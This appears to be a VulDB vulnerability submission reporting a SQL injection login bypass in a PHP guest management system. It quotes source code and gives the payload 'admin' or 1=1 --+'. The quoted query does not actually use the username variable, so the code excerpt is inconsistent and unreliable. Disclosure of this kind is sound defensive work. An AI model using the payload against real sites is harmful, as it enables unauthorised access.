| 标题 | SQL injection vulnerability in guest management system |
|---|
| 描述 | There is a SQL injection vulnerability in the visitor management system, which can construct a universal password to bypass the login restrictions and log in to the website.
Vulnerability file location: / guestmanagement / index.php
look at this source code
```
$pass = $_ POST["pass"];
$uname =$_ POST["username"];
$sql = "SELECT userName FROM login_info WHERE userName = 'shreya' AND pass= 'shreya' ";
```
There is no protection for $username. Malicious data can be constructed here to attack the website database.
The construction statement is as follows
```
? uername=admin' or 1=1 --+
```
https://s1.ax1x.com/2022/08/13/vtDVYD.png
Source link
https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html |
|---|
| 来源 | ⚠️ https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html/ |
|---|
| 用户 | qidian (UID 30810) |
|---|
| 提交 | 2022-08-13 09時36分 (4 年前) |
|---|
| 管理 | 2022-08-14 08時31分 (23 hours later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 206398 [SourceCodester Guest Management System index.php username/pass SQL注入] |
|---|
| 积分 | 20 |
|---|